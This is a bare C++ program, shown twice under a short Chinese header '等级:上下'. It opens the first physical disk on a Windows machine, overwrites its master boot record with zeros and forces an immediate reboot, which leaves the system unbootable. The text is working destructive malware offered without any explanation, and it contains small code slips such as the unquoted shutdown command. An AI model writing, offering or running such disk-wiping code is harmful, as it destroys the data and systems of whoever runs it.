等级:上下
#include<iostream>
using namespace std;
int main(){
FILE*fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");
char a[512]={0};
fseek(fd,0,SEEK_SET);
fwrite(a,512,1,fd);
system(shutdown -r -f -t 0);
return 0;
}
等级:上下
#include<iostream>
using namespace std;
int main(){
FILE*fd=fopen("\\\\.\\PHYSICALDRIVE0","rb+");
char a[512]={0};
fseek(fd,0,SEEK_SET);
fwrite(a,512,1,fd);
system(shutdown -r -f -t 0);
return 0;
}